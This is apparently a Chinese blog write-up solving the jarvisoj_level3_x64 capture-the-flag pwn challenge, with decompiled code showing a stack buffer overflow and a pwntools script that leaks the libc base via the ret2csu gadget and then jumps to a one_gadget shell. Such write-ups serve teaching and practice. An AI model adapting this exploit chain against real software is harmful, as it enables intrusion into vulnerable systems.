jarvisoj_level3_x64

题目链接:jarvisoj_level3_x64

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}

vulnerable_function 函数如下。

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input:\n", 7uLL);
  return read(0, buf, 0x200uLL);
}

通过分析,可以发现存在栈溢出,但缺乏直接控制 RDX 寄存器的 GadGet,因此,此处使用万能 GadGet。

解题思路:

  1. 栈溢出,使用万能 GadGet,调用 write 函数泄露 LIBC 基址。
  2. 打 One_GadGet。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():

    # .text:00000000004004F0 _start          proc near               ; DATA XREF: LOAD:00000000003FF018↑o

    payload = all_gadget(0x0000000000400690, 0x00000000004006AA, ELF_FILE.got['write'], 0x00000000004004F0, 0x1, ELF_FILE.got['read'], 0x8)

    sa('Input:\n', \
       0x88 * b'a' + \
        payload)
    
    LIBC_ADDR = uu64(ru('\x7F')[-6:]) - LIBC_FILE.symbols['read']
    leak('LIBC_ADDR', LIBC_ADDR)

    one = one_gadget(LIBC_ADDR)

    sa('Input:\n', \
       0x88 * b'a' + \
        p64(one[1]) + \
            0x80 * b'\x00')

    irt()

pwn()
posted @ 2025-09-06 13:13  imtaieee  阅读(16)  评论(0)    收藏  举报